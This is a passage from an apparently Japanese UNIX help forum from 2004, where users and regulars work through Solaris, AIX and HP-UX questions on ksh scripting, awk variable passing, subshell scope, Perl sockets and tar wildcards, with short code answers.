の name=value という書き方は Solaris ではできません。
0-23/2 というのもダメなはず。

上記 man には
      ATT や BSD の cron では "1-3,7-9" は拒否されるだろう --
      "1-3" または "7,8,9" のいずれかだけしか指定できない。
とありますが、Solaris ではどうだったかなぁ。

Solaris の crontab(1) はこちら。
    http://www.freebsd.org/cgi/man.cgi?query=crontab&apropos=0&sektion=0&manpath=SunOS+5.9&format=html

> 設定ファイル
OS の設定ファイル名や内容は、同じものは同じですが、違うものは
違います (としか言いようがない)。

同じもの:
      /etc/hosts, /etc/resolv.conf, /etc/nsswitch.conf

違うもの:
      その他たくさん。Linux の /etc/fstab は、Solaris では /etc/vfstab など。

> スクリプトファイル
Linux では sh は bash ですが、Solaris は古来からの sh です。例えば
Solaris の sh では
    export A=B
はダメで、
    A=B
    export A
としなくてはいけません。このような bash 依存な書き方をしていなければ
少しの修正でいけるかもしれませんが、bash の便利な機能を活用しまくって
いるなら苦労するでしょう。

No. 3619 # ビギナー 2004/03/12 (金) 11:49:16
>>3618 68user
参考にさせていただきます。
実機の搬入が来週なので、結果報告はその時にします。

No. 3620 # バンガード [URL] [E-mail] 2004/03/12 (金) 19:13:45
>>3616 68user
現在expectで対応する方向で準備中です。
ありがとうございました。

No. 3621 # バンガード [URL] [E-mail] 2004/03/12 (金) 19:17:53
度々申し訳ございません。
今度はkshで教えてください。

======= test_file ========
aix4-r1
aix4-r2
aix4-r3
aix4-r4
aix3-r1
aix3-r2
aix3-r3
aix3-r4
aix2-r1
aix2-r2
aix2-r3
aix2-r4
======= test.ksh ========
#!/usr/bin/ksh

file="test_file"

nawk '{
                if ( (substr($0,1,4) == "aix4") )\
                {\
                                printf "TRUE:%s\n",$0; \
                }\
                else {\
                                printf "FALSE:%s\n",$0; \
                }\
}' $file

上記の様に文字列の先頭数文字のみを見て一致するかの判定を行いたいのですが、ksh単体での実現方法が分からず苦労しています。
やはり、上に示したようにawkを使用して、その中でsubstr関数を使用するしかないでしょうか?

本当に基本的なことで申し訳ございませんが、よろしくお願い致します。

No. 3622 # 68user 2004/03/12 (金) 22:12:33
>>3621 バンガード
こんな感じですかね。

while read line; do
        prefix=${line%-r[0-9]}
        if [ "$prefix" = "aix4" ]; then
                echo "TRUE:$line"
        else
                echo "FALSE:$line"
        fi
done < test_file

No. 3623 # バンガード [URL] [E-mail] 2004/03/15 (月) 09:51:21
>>3622 68user
> prefix=${line%-r[0-9]}
> if [ "$prefix" = "aix4" ]; then
これだと、私が例で示させていただいたパターンにしか対応できませんよね。(そういう意味では私の示した例が悪かったですね)
これを「aix4-r23,aix-r4x3」なども「一致」と見るような方法は無いでしょうか?
たとえば、以下のようなif文は無理でしょうか?
if [ $line = "aix4"* ]; then

No. 3624 # 68user 2004/03/15 (月) 10:41:45
>>3623 バンガード
> 「aix4-r23,aix-r4x3」なども「一致」と見るような方法は無いでしょうか?
> if [ $line = "aix4"* ]; then
aix4* では aix-r4x3 はマッチしないように見えますが、
またしても不適切な例ではありませんか?

> if [ $line = "aix4"* ]; then
if ではできませんが、case ならできます。

while read line; do
    case $line in
        aix4*)
            echo aix4
        ;;
        aix5*)
            echo aix5
        ;;
        *)
            echo others
        ;;
    esac
done < test_file

No. 3625 # バンガード [URL] [E-mail] 2004/03/15 (月) 12:55:51
>>3624 68user
>aix4* では aix-r4x3 はマッチしないように見えますが、
>またしても不適切な例ではありませんか?
おっしゃるとおりです。
重ね重ね申し訳ございません。

>if ではできませんが、case ならできます。
なるほど、caseでなら「aix4*」が可能ですか。
助かりました。

No. 3626 # 裏方 [E-mail] 2004/03/15 (月) 16:35:44
初めまして、裏方と申します。
WinSockを用いたウィンドウズネットワークプログラムで、インター
ネットを介して、私のマシン名からIPアドレスを取得する方法に
ついて悩んでいます。言語はC言語を扱っております。

ローカルネットワークではマシン名からIPアドレスを取得するには
Gethostbyname関数で取得できるのですが、インターネットを介した
遠方のマシンのから私のマシンのIPアドレスを取得する事が出来ま
せん。(私のはサーバマシンでは無いので当然なのですが・・・)

私のマシンは大学で扱っているもので、ネットワークに繋ぐたびに
動的なIPアドレスが割り当てられるのですがサーバプログラム等を
私のマシン上で動かすときにいちいち相手に今のIPアドレスを教え
なければならないので非常に不便です。

どうにかして、私のマシン名からIPアドレスを取得する方法が
あるのでしょうか?どなたかアドバイスをお願いします。

No. 3627 # 68user 2004/03/15 (月) 16:58:12
>>3626 裏方
- 逆引きできないから困っているの?
    (もしそうなら「マシン名」というのは何?)
- IP アドレスがころころ変わるから困っているの?
    (もしそうなら「マシン名」は関係ないのでは?)
- そもそもマシン名って何を指しているの? FQDN?
- DHCP で振られる IP アドレスには FQDN が設定してあるが、
    外部向け DNS サーバには登録してなくて、内部からしか逆引き
    できない、という状況?

などなど疑問はつきませんが、http://www.dyndns.org/ などの
DynamicDNS と呼ばれるサービスを使うのが一つの解でしょう。

ただしこれは、大学とは全く関係ない FQDN を、大学から付与されて
いる IP アドレスに結びつけるということです。管理者が寛容である
ことを期待するか、リスクを負ってこっそりやるのがよいでしょう。

No. 3628 # Tangerine 2004/03/15 (月) 17:11:48
始めまして、UNIX使い始めです。
この度、awkコマンドを使用してファイルを分別して削除するシェルを作成しているのです。

そこでお聞きしたい事がるのです
awkコマンドのifなどの中で変数は使えないのでしょうか?

現在全ファイルに作成日付が付加されており、
指定日より前の物を削除したいいのです
シェルの前半で指定日付を変数へ代入し
lsとawkをパイプで繋いで削除しようとしています
awk内のifなどによる条件判断で変数を宣言すると$0のメンバー名全体が表示されており判別できないのです
(ifを削除しprintで変数を表示させて確認)

出来ないのであれば何か別の方法を考えなくてはいけないのですが
何方かお答えください

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3629 # zsh 2004/03/15 (月) 17:50:12
>>3628 Tangerine
具体的にどのようなスクリプトなのか見せて頂けませんか?
(そもそもawkを使う必要があるのでしょうか?)

No. 3630 # Tangerine 2004/03/16 (火) 11:02:40
返信遅れてすいません。
えっと、確かに自分もawkを使う必要があるのか微妙ですが

#! /usr/bin/sh

make_date=`date +"%Y%m%d"`
make_date=`echo $make_date"-1" | bc`
echo $make_date
ls *.*.* | awk -F. '{if($2<make_date) print $0}'

問題としているのはこのあたりです。
変数make_dateに昨日の日付けが入り、
それ以前のものを表示させたいのです。

正直なところを言えばawkを使う必要性はまったくといってないです
ただ、自分が色々調べた結果awkを使ってやれば出来るのか?
と、考えて使ってみただけですので

awkじゃなくて別の方法で行えるのであれば
御教授いただけると嬉しいです。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3631 # zsh 2004/03/16 (火) 12:48:26
>>3630 Tangerine
単純に昨日以前のファイルを表示するのであればこんな感じで。
(ファイルが無い時を考えるとls使った方がいいのかな?)
------
#!/bin/sh

make_date=`date '+%Y%m%d'`
for f in `echo *.[0-9]*.*` ; do
    d=`echo $f | cut -d. -f2`
    [ $d -lt $make_date ] && echo $f
done
------

awkを使うのであればこんな感じかな。
実装されているawkによって変数の設定の仕方が違うので注意してください。
------
#!/bin/sh

make_date=`date '+%Y%m%d'`
ls *.[0-9]*.* | awk -F. '{if($2 < d) print}' d=$make_date

No. 3632 # Tangerine 2004/03/16 (火) 13:56:36
>>3631 zsh
おおっ!!有難う御座います(T▽T)
なるほど、forですね。なんとも勉強不足でした(^^;
やはりawkでは変数をそのまま引き継げないのですね
awk内で更に変数に入れ込まなければいけないとは(^^;
有難う御座います
教えていただいた方法で作成していきます。
本当に助かりました(w

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3633 # 68user 2004/03/16 (火) 14:15:32
>>3632 Tangerine
> やはりawkでは変数をそのまま引き継げないのですね。
そういうわけではありません。

> ls *.*.* | awk -F. '{if($2<make_date) print $0}'
awk はどういう引数が欲しいか、というと
      awk -F. '{if($2<$make_date) print $0}'

      awk -F. '{if($2<make_date) print $0}'
ではなくて、
      awk -F. '{if($2<20040315) print $0}'
となってほしいわけです。

で、こうなるように書くにはどうすればよいか。

[方法1]
まず
      awk -F. '{...}'
と '' で囲ってはいけません。'' で囲った時点で中に入っている
変数が展開されなくなります。というわけで、
      awk -F. "{...}"
と "" で囲みます。これで中の変数が展開されます。しかし
      awk -F. "{if($2<$make_date) print $0}"
と書いてしまうと、$2 や $0 まで展開されてしまいます。$2 や $0 は
awk にそのまま渡したいので、
      awk -F. "{if(\$2<$make_date) print \$0}"
と \ でエスケープします。

[方法2]
方法1 のエスケープがうっとうしいなら、まず
      awk -F. '{...}'
と '' で全体を囲みます。そして狙いのところだけ '' の外に出します。例えば
      awk -F. '{if($2<'$make_date') print $0}'
こんな感じ。つまり
      'x'$y'z'
という形にするわけですが、これは 'x' + $y + 'z' というふうに結合されるので
うまく動きます。

いずれの場合であっても、
      % sh -x hoge.sh
と -x オプションを付け、変数が狙い通り展開されているかどうか
チェックする癖をつけましょう。

No. 3634 # Tangerine 2004/03/16 (火) 14:52:46
なるほど〜、ややこしい事になっていたのですね〜
おかげさまで希望の日付以前のファイルを削除することが出来ました、
有難う御座います。

追伸
>% sh -x hoge.sh
使うようにしてみます(^^;

No. 3635 # zsh 2004/03/16 (火) 18:53:22
>>3633 68user
その方法があることをすっかり忘れてました。
(というか使った試しが無い・・・反省)
いつもながら勉強になります。

No. 3636 # tomato 2004/03/19 (金) 18:06:05
初めまして、Perl初心者です。
Socketを使ってUDPのプロキシ機能を作りたいのですが、
Send関数のあて先の指定で、inet_atonを使わずに指定
する方法がわかりません。というのも、あて先IPアドレスは
分かっているのですが、/etc/resolv.confには記述されて
いないからなのですが。
やっぱりinet_aton関数を使ってホスト名からIPアドレスを
取得しないとダメなのでしょうか?
どなたか教えてください。
環境は、Solaris8 、perl5 です。
今はこんな感じなのですが、、、

socket(SOCKET, PF_INET, SOCK_DGRAM, 0);
$ip = '192.168.253.155';
$sock_addr = pack_sockaddr_in(2426, $ip);
send(SOCKET, "test", 0, $sock_addr);

No. 3637 # 68user 2004/03/19 (金) 18:36:10
>>3636 tomato
inet_aton には IP アドレスも渡せます。なので、
    socket(SOCKET, PF_INET, SOCK_DGRAM, 0);
    $ip = '192.168.253.155';
    $iaddr = inet_aton($ip);
    $sock_addr = pack_sockaddr_in(2426, $iaddr);
    send(SOCKET, "test", 0, $sock_addr);
でよいです。

    http://x68000.startshop.co.jp/~68user/net/func.html#inet_aton
ではホスト名しか渡せないような書き方をしていますので、ちょっと
不適切でした。

そもそも、C 言語での inet_aton の機能は、
      aaa.bbb.ccc.ddd という文字列を解析し、in_addr 構造体に格納する
というもので、名前解決は行いません。一方、perl の Socket パッケージの
inet_aton は、ホスト名も受け付けるように機能拡張されているわけです。

No. 3638 # バンガード [URL] [E-mail] 2004/03/19 (金) 23:25:32
    また初歩的なことで申し訳ありません。
    以下のプログラムで、13行目以降で配列(CMD)の内容を表示させて
いるのですが、全てNULLになってしまいます。

        +1 #!/usr/bin/ksh
        +2 INDEX=0
        +3 TEST=`ls -l |
        +4 while read LINE
        +5 do
        +6 CMD[$INDEX]=$LINE
        +7 echo $INDEX":"${CMD[$INDEX]}
        +8 let "INDEX = INDEX + 1"
        +9 done`
      +10 echo "$TEST"
      +11
      +12 INDEX=0
      +13 while [ $INDEX -lt 5 ]
      +14 do
      +15 echo $INDEX":"${CMD[$INDEX]}
      +16 let "INDEX = INDEX + 1"
      +17 done

    このプログラムの3行目から10行目を以下の様に修正すれば、13行目
以降でも配列の中身が正常に表示されます。
        +3 ls -l |
        +4 while read LINE
        +5 do
        +6 CMD[$INDEX]=$LINE
        +7 echo $INDEX":"${CMD[$INDEX]}
        +8 let "INDEX = INDEX + 1"
        +9 done
      +10

    最初のプログラムの様に、最初のループの結果を変数にセットする
場合で、ループから出た以降も配列の中身を保つ方法は無いでしょう
か?

No. 3639 # zsh 2004/03/21 (日) 22:59:40
>>3638 バンガード
バッククォーテーションでくくると別プロセスになるから
変数を保持することはできないと思いますが・・・

No. 3640 # 68user 2004/03/22 (月) 14:19:23
>>3638 バンガード
> このプログラムの3行目から10行目を以下の様に修正すれば
この修正ではなぜダメなのか理由を書いていただかないと、代案が出せないです。

No. 3641 # バンガード [URL] [E-mail] 2004/03/22 (月) 14:51:49
>>3640 68user
3行目から10行目の修正ですとwhile文の出力は標準出力へ出て行くだけです。
これを最初のプログラムの様にwhile文の出力を変数に格納したいと考えています。

No. 3642 # 68user 2004/03/22 (月) 15:27:00
>>3641 バンガード
> while文の出力は標準出力へ出て行くだけ
それは echo しているからでは? echo しなければ OK かと思います。

> while文の出力を変数に格納したいと考えています
修正版の方でも CMD[$INDEX]=$LINE と格納しているように見えます。
また、ループを抜けた後でも参照が可能だと思います。

No. 3643 # バンガード [URL] [E-mail] 2004/03/22 (月) 16:12:09
>>3642 68user
まず、3行目から10行目を修正した場合の結果は以下の通りです。
0:合計 7
1:-rw-r--r-- 1 furu man 4 Mar 22 15:59 test1
2:-rw-r--r-- 1 furu man 8 Mar 22 16:00 test2
3:-rw-r--r-- 1 furu man 8 Mar 22 16:00 test3
4:-rw-r--r-- 1 furu man 12 Mar 22 16:01 test4
5:-rw-r--r-- 1 furu man 12 Mar 22 16:01 test5
6:-rw-r--r-- 1 furu man 4 Mar 22 16:01 test6
7:-rw-r--r-- 1 furu man 20 Mar 22 16:02 test7

0:合計 7
1:-rw-r--r-- 1 furu man 4 Mar 22 15:59 test1
2:-rw-r--r-- 1 furu man 8 Mar 22 16:00 test2
3:-rw-r--r-- 1 furu man 8 Mar 22 16:00 test3
4:-rw-r--r-- 1 furu man 12 Mar 22 16:01 test4

次に3行目から10行目を修正しない場合の出力結果です。
0:
1:
2:
3:
4:

ちなみに7行目のecho文をコメントにしても結果は同じです。

この様にwhile文をダブルクォーテーションで囲むかどうかでwhile
文を抜けた後で配列を参照できるかが異なってきます。

No.3639でzshさんが回答されている様にダブルクォーテーションで囲んでいるために別プロセスになってしまうのが原因の様です。
whileの出力を変数に格納した上で、whileから抜けた後も配列の内容が参照出来る様にするにはどうしたら良いのでしょうか?

No. 3644 # 68user 2004/03/22 (月) 17:05:31
>>3643 バンガード
> ちなみに7行目のecho文をコメントにしても結果は同じです。
わたしはありえないと思いますが、そういう ksh もあるんですかね。
当方の HP-UX11i で
    #!/usr/bin/ksh
    INDEX=0
    ls -l |
    while read LINE; do
        CMD[$INDEX]=$LINE
        let "INDEX = INDEX + 1"
    done
    INDEX=0
    while [ $INDEX -lt 5 ]; do
        echo $INDEX":"${CMD[$INDEX]}
        let "INDEX = INDEX + 1"
    done
というのスクリプトを実行したところ、
    0:合計 7
    1:-rw-r--r-- 1 furu man 4 Mar 22 15:59 test1
    2:-rw-r--r-- 1 furu man 8 Mar 22 16:00 test2
    3:-rw-r--r-- 1 furu man 8 Mar 22 16:00 test3
    4:-rw-r--r-- 1 furu man 12 Mar 22 16:01 test4
というような、先頭 5 行分だけの出力が得られました。

No. 3645 # バンガード [URL] [E-mail] 2004/03/22 (月) 19:34:47
>>3644 68user
御提示いただいたシェルなら当方(AIX 5.1)でも同様の結果が出
ます。

以下の様に修正した場合に配列の中身が2つ目のwhile文で出力され
なくなります。
        #!/usr/bin/ksh
        INDEX=0
        TEST=`ls -l |
        while read LINE; do
                CMD[$INDEX]=$LINE
                let "INDEX = INDEX + 1"
        done`
        INDEX=0
        while [ $INDEX -lt 5 ]; do
                echo $INDEX":"${CMD[$INDEX]}
                let "INDEX = INDEX + 1"
        done

No. 3646 # 68user 2004/03/23 (火) 01:56:23
>>3645 バンガード
> 御提示いただいたシェルなら当方(AIX 5.1)でも同様の結果が出ます。
そうでしょうね。

> 以下の様に修正した場合に配列の中身が2つ目のwhile文で出力されなくなります。
そうなりますね。`〜` とするとサブシェルが起動されますから、
$CMD が設定されるのはサブシェルだけで、親のシェルには反映
されません。

質問を続ける目的が全く見えません。>>3644 のスクリプトは >>3641
の希望を満たしているように見えますが違うのですか? まだ説明して
いない理由があって、>>3644 は採用できないのですか?

No. 3647 # バンガード [URL] [E-mail] 2004/03/23 (火) 03:49:34
>>3646 68user
>質問を続ける目的が全く見えません。>>3644 のスクリプトは >>3641
の希望を満たしているように見えますが違うのですか? まだ説明して
>いない理由があって、>>3644 は採用できないのですか?
3644のスクリプトでは、最初のwhile文の出力を変数に格納していません。
この形式であれば、最初の私の質問で御提示させていただいている通りで
す。(3行目から10行目を修正したもの)
次に質問を続ける理由ですが、3642で「echo しているからでは?
echo しなければ OK かと思います。」
「ループを抜けた後でも参照が可能だと思います。」と回答されているの
で、そんなことは無いと言うことで3643の回答をしています。

それに対して、3644で「わたしはありえないと思いますが」とお答え
いただいていますよね?
ですから、それに対しての回答で3645の回答をさせていただいていま
す。

3642の回答が無ければ、3639の回答で「なるほど」と納得していた
のですが、3640で「なぜだめなのか?」と言う事ですので状況を説
明させていただいている次第です。

結局3640の回答にある通り、バッククォーテーションで囲んでいる
ために別のジョブとして起動されるためにwhileから抜けた後で配
列を参照できないのですよね。

私としては最初のwhile文での出力を変数に格納した上でwhile文の
外でも配列の中身を参照したいと言うのが最終目標です。
しかしながら、バッククォーテーションで囲んだ以上は別タスクに
なるために、while文の外で配列が参照できないとなれば、最初の
while文の出力をファイルに格納するしかないかと考えています。
もし、それ以外の方法があるのであれば、お教えいただけると助か
ります。

No. 3648 # 68user 2004/03/23 (火) 10:26:19
>>3647 バンガード
やっとわかりました。変数に格納って TEST=`…` のことですか。

わたしの読解力が足らないだけでしょうが、
      「変数 TEST に ls の出力全体を、CMD には 1行ずつの
          結果を代入したい」
     「このスクリプトの目的は ls の結果全体を表示しつつ、
          なおかつ先頭 5 行を表示すること」
などと書いていただければもっと早く理解できたと思われます。

で、スクリプトは以下のような感じでしょうか。

#!/usr/bin/ksh
INDEX=0
ls -l |
while read LINE; do
    CMD[$INDEX]="$LINE"
    TEST="$TEST ${INDEX}:$LINE"
    let "INDEX = INDEX + 1"
done
echo "$TEST"
INDEX=0
while [ $INDEX -lt 5 ]; do
    echo "${INDEX}:"${CMD[$INDEX]}
    let "INDEX = INDEX + 1"
done

No. 3649 # バンガード [E-mail] 2004/03/23 (火) 11:50:40
>>3649 バンガード
なるほど、全ては私の質問の書き方が原因だったのですね。
本当に申し訳ありません。
今回御指摘いただいた様な表現を最初からすべきでしたね。

御提示いただいたスクリプトで目的が達成できました。

重ね重ね誠にありがとうございました。

No. 3650 # m16 2004/03/23 (火) 13:18:33
awk(正規表現?)でちょっと行き詰まってしまったので質問します。

OS:Solaris8

やりたいこと
    環境変数の内容で awk を使ってテキストファイルの検索を行う。

検索に使用する環境変数を HOGE として

awk '/ENVIRON["HOGE"]/ {print}' FILE_NAME

を行っても検索されませんでした。
ちなみに {print ENVIRON["HOGE"]} とした場合には値が返りませんでした。

何か根本的なところで間違ってるかもしれませんが・・よろしくお願いします。

#grep $HOGE FILE_NAME とすれば出来るのですが・・awk で実現したいのです。

No. 3651 # 68user 2004/03/23 (火) 18:09:25
>>3650 m16
awk はよくわかりませんが、
      % awk '$0 ~ ENVIRON["HOGE"] {print}' FILE_NAME
ですかね。

No. 3652 # zsh 2004/03/23 (火) 18:47:06
>>3650 m16
/usr/bin配下のawkでは環境変数を参照できなかったと思います。
/usr/xpg4/bin/awkかnawkを使ってください。

% nawk '$0 ~ ENVIRON["HOGE"] {print}' FILE_NAME

No. 3653 # m16 2004/03/24 (水) 09:40:15
68user さん zsh さん レスありがとうございます。

まだうまくいきません。

確認のため
/usr/bin/awk 、/usr/xpg4/bin/awk 、 /usr/bin/nawk で
{ print ENVIRON["HOGE"] } としても空白しか出てきません。

もうちょっと修行してみます

No. 3654 # zsh 2004/03/24 (水) 10:27:06
>>3653 m16
HOGEはちゃんとexportしてますよね?

No. 3655 # すすむ 2004/03/25 (木) 12:50:36
UNIXのtarコマンドについて教えて下さい。
DATテープから任意のファイルをワイルドカード(*)で取り出したいの
ですが上手くいきません。
どのようにすれば取り出せますか。

rwxr-xr-x 0/3 0 2004年 2月 17日 20:55 ./bkup/
rw-r--r-- 0/3 3506495 2003年 6月 5日 15:48 ./bkup/200303031741data_tar.gz
rw-r--r-- 0/3 3511527 2003年 3月 17日 09:20 ./bkup/200303032300data_tar.gz
rw-r--r-- 0/3 3517092 2003年 3月 17日 09:20 ./bkup/200303042300data_tar.gz


rw-r--r-- 0/3 3511527 2003年 3月 17日 09:20 ./bkup/200312302300data_tar.gz
rw-r--r-- 0/3 3517092 2003年 3月 17日 09:20 ./bkup/200312312300data_tar.gz

このリストから200309となっているもファイルをとりだそうといろいろと
やってみたのですが、

# tar -xvf /dev/rmt/1m 200309\*data.tar.gz
# tar -xvf /dev/rmt/1m ./bkup/200309\*data.tar.gz
# tar -xvf /dev/rmt/1m './bkup/200309*data.tar.gz'
# tar -xvf /dev/rmt/1m "./bkup/200309*data.tar.gz"

上手くいきませんでした。



HP-UX11.00です。

No. 3656 # すすむ 2004/03/25 (木) 12:52:19
>>3655 すすむ
すみません
リストのファイル名は、
YYYYMMDDHHMMSSdata_tar.gz

YYYYMMDDHHMMSSdata.tar.gz
です。

No. 3657 # バンガード [E-mail] 2004/03/25 (木) 13:04:02
>>3656 すすむ
tar -xvf /dev/rmt/1m ./bkup/200309*data.tar.gz
ではどうでしょうか?

No. 3658 # すすむ 2004/03/25 (木) 13:47:55
>>3657 バンガード

>tar -xvf /dev/rmt/1m ./bkup/200309*data.tar.gz
上手くいきません。

No. 3659 # 68user 2004/03/25 (木) 13:51:31
>>3652 zsh
> /usr/bin配下のawkでは環境変数を参照できなかったと思います。
ご指摘ありがとうございます。まわりに Solaris 環境がなくなってしまった
ため誤ったことを書くことが増えると思いますが、そのときはご指導願います。

>>3653 m16
    % echo abc | /usr/bin/nawk '{ print ENVIRON["HOGE"] }'

    % printenv HOGE
で何も出力されないなら、環境変数の設定ミスでしょう。

>>3655 すすむ
> UNIXのtarコマンドについて教えて下さい。
> DATテープから任意のファイルをワイルドカード(*)で取り出したいの
> ですが上手くいきません。
HP-UX 11i で試した限りでは、HP の tar ではワイルドカードは使用
できないようです。
    - 全部 tar xf で展開し、狙いのファイルを拾う
    - tar tf の結果を grep で拾って tar xf で完全なファイル名を指定する
    - GNU tar をインストールする
などの方法を検討するのがよいかと思われます。

>>3657 バンガード
> tar -xvf /dev/rmt/1m ./bkup/200309*data.tar.gz
sh 系・csh 系いずれも、カレントディレクトリに bkup というディレクトリが
存在し、その下に 200309*data.tar.gz にマッチするファイルが存在した場合、
存在するファイル名に展開されてしまい、結果として意図とは異なるファイルが
展開されます。

また、sh 系ではマッチしなかった場合 ./bkup/200309*data.tar.gz がそのまま
tar に渡りますが、csh 系ではシェルの glob 展開の時点でエラーになります。

メタキャラクタは必ずエスケープしましょう。

No. 3660 # バンガード [E-mail] 2004/03/25 (木) 13:52:51
>>3658 すすむ
当方はAIX 5.2上で試しましたが、以下の様な結果になります。
(tar でなくて申し訳ありません)
% ls -l ./test_dir
合計 7
-rw-r--r-- 1 furu man 0 Mar 25 13:01 20030901data
-rw-r--r-- 1 furu man 0 Mar 25 13:01 20030902data
-rw-r--r-- 1 furu man 0 Mar 25 13:01 20030903data
-rw-r--r-- 1 furu man 0 Mar 25 13:02 20031201data
-rw-r--r-- 1 furu man 0 Mar 25 13:02 20031202data
-rw-r--r-- 1 furu man 0 Mar 25 13:02 20031203data
-rw-r--r-- 1 furu man 0 Mar 25 13:02 20040101data
-rw-r--r-- 1 furu man 0 Mar 25 13:02 20040102data
-rw-r--r-- 1 furu man 0 Mar 25 13:02 20040103data
-rw-r--r-- 1 furu man 4 Mar 22 15:59 test1
-rw-r--r-- 1 furu man 8 Mar 22 16:00 test2
-rw-r--r-- 1 furu man 8 Mar 22 16:00 test3
-rw-r--r-- 1 furu man 12 Mar 22 16:01 test4
-rw-r--r-- 1 furu man 12 Mar 22 16:01 test5
-rw-r--r-- 1 furu man 4 Mar 22 16:01 test6
-rw-r--r-- 1 furu man 20 Mar 22 16:02 test7
% wc ./test_dir/200309*data
              0 0 0 ./test_dir/20030901data
              0 0 0 ./test_dir/20030902data
              0 0 0 ./test_dir/20030903data
              0 0 0 合計
念のため、csh と ksh で試しましたが、結果は同じです。

No. 3661 # 68user 2004/03/25 (木) 14:10:02
>>3660 バンガード
根本的に誤解があるようです。
> % wc ./test_dir/200309*data
この場合、操作対象ファイルは既に存在するのでエスケープは不要です。
この例ではシェルがメタキャラクタを展開し、wc は
      ./test_dir/20030901data ./test_dir/20030902data ./test_dir/20030903data
というような引数を得ます。

しかし
> # tar -xvf /dev/rmt/1m 200309\*data.tar.gz
の場合は、今から展開しようとしているわけなので、ファイルはまだ
存在しません (仮に存在していたとしても、存在するファイルにマッチ
してもらっては困るわけです)。

よって、シェルが展開しないように \* などとエスケープします。
すると tar は
      -xvf /dev/rmt/1m 200309*data.tar.gz
というふうにメタキャラクタをそのまま受け取るので、それを /dev/rmt/1m
内のデータと比較し、マッチするファイルのみを抽出します。ただし
今回のように tar が自前でメタキャラクタを展開する機能を持っていない
とうまくいきません。

      用語集: ファイルグロブ
          http://x68000.startshop.co.jp/~68user/unix/pickup?%A5%D5%A5%A1%A5%A4%A5%EB%A5%B0%A5%ED%A5%D6

の一読をお勧めします。

No. 3662 # バンガード [E-mail] 2004/03/25 (木) 14:25:24
>>3661 68user
まず最初にお断りさせていただきたいのですが、私が3660の投稿を行ったタイミングでは
まだ3659の発言はありませんでした。
ですので、3660投稿の時点では3659の発言は読んでいませんでした。

ただ、どちらにしても私のテスト自体に思い違いがあった様で御指摘は大変参考になり
ました。
御指摘誠にありがとうございました。
この投稿を送信次第御提示いただいた資料を参照してみます。

No. 3663 # すすむ 2004/03/25 (木) 15:21:18
>>3659 68user
>HP-UX 11i で試した限りでは、HP の tar ではワイルドカードは使用
>できないようです。
> - 全部 tar xf で展開し、狙いのファイルを拾う
> - tar tf の結果を grep で拾って tar xf で完全なファイル名を指定する
> - GNU tar をインストールする
>などの方法を検討するのがよいかと思われます。
tar tvf の結果をgrepで拾って、tar xvf に対して完全なファイル名を
指定する方法でできました。

ありがとうございました。

No. 3664 # Naoki [E-mail] 2004/03/27 (土) 20:37:18
はじめまして。Naokiと申します。
皆さんに教えていただきたいことがあり、書き込ませていただきます。
レンタルサーバーを借りてホームページを開設しようとしているのですが、
最初に読み込まれるトップページを指定したいのですが、どのようにしたらよいのでしょうか?
具体的には、アクセス元がパソコンor携帯かによって、それぞれのトップページを振り分けるCGI
をトップページにしたいと考えています。(ファイル名はindex.cgi)
サーバー会社に問い合わせたところ、『index.cgiやindex.phpをトップページにする方法として、
.fowardファイルにて操作可能』と言われ、それ以上はサポート外なので対応できないということです。
そこで、どのように設定したらよいのか教えてください。
以上、よろしくお願いいたします。

No. 3665 # has 2004/03/28 (日) 23:58:46
こんばんは。
皆様のようにきっちり回答できる自信がなく、時折の書き込みで恐縮ですが、
たまたま一部知っている内容だったので回答させていただきます。

>>3664 Naoki
CGI側でサーバ変数HTTP_USER_AGENTを参考に判定する方法があります。
CGIでよく使われていると思われるサーバ変数を解説しているページが
あったのでご紹介します。
http://www.din.or.jp/~hagi3/Perl/http.htm

Japan Apache Users Groupでの解説個所も見つけました。
http://www.apache.jp/docs/howto/cgi.html#environmentvariables

No. 3666 # samy 2004/03/30 (火) 13:40:12
こんにちわ。
Perlについてのごく初歩的な質問なんですがファイルデータを保存する時の方法についてなんですが
CSV形式なら
open(OUT,">data.dat");
    print OUT "$FORM{'fld1'},$FORM{'fld2'},$FORM{'fld3'},$FORM{'fld4'}\n";
close(OUT);
だと思うのですが固定長の場合はどうしたらよいのでしょうか?
よろしくお願いします。

No. 3667 # 68user 2004/03/30 (火) 13:56:35
>>3666 samy
>固定長の場合はどうしたらよいのでしょうか?
基本は
      printf(OUT "%05d%20s%010d%10s\n",
                    $FORM{'fld1'}, $FORM{'fld2'}, $FORM{'fld3'}, $FORM{'fld4'});
など。%d は数値。%s は文字列。%20d は右詰め。%-20d は左詰め。
%020d はゼロパディング。

項目数が 10〜20 程度ならこの方法でよいでしょう。

もし項目数が 100 を超えるのであれば、出力フォーマットの定義
ファイル化などを検討しましょう。

No. 3668 # samy 2004/03/30 (火) 18:29:45
ありがとうございます。
助かりました。
また、質問があれば投稿しますのでその時はよろしくお願いします。

No. 3669 # Goldwasser [URL] 2004/03/30 (火) 18:58:06
だから私を見て!
http://sgldwssr.hp.infoseek.co.jp/otp.html

No. 3670 # tmr [E-mail] 2004/04/06 (火) 21:38:22
awkについての質問です。

Solaris7上で、nawkを実行する際、

"cat text.txt" | getline var

という構文があるとvarに "cat text.txt" の結果が入るのですが、
同じことを /usr/xpg4/bin/awk で実行すると var に値が
入らないようです。
このあたりの事情をご存知の方、教えてくれませんか?

No. 3671 # tmr 2004/04/07 (水) 15:27:13
下記の件ですが、awkをかける対象のテキストの行数が、
getlineで取り込まれるテキストの行数より少ない場合に
発生することがわかりました。
つまり、getlineで取り込まれるテキストの方が短い場合、
nawkでは最後の行の内容が保持されて、それを利用した置換処理が
行われるが、 /usr/xpg4/bin/awk では行われないということです。

No. 3672 # 68user 2004/04/08 (木) 10:46:06
>>3671 tmr
なるほど。そういう違いがあることは知りませんでした。一般論としては、
getline の戻り値チェックをしっかり行ないましょう、てな感じでしょうか。

No. 3673 # Goldwasser 2004/04/08 (木) 15:38:24
誰かハイホーネットにメールを送信するアプリをくれましたか?(w

No. 3674 # vm 2004/04/12 (月) 22:17:45
はじめましてvmと申します。
UNIXのコマンド処理で質問があるのですが、
何行かあるテキストファイルの指定のカラム位置に文字列を行単位に挿入
するという処理を、UNIXのコマンドだけでやりたいと思っています。

自分で処理を考えてみたのですが、
1. cutコマンドを使用して、指定カラム位置を境にして、
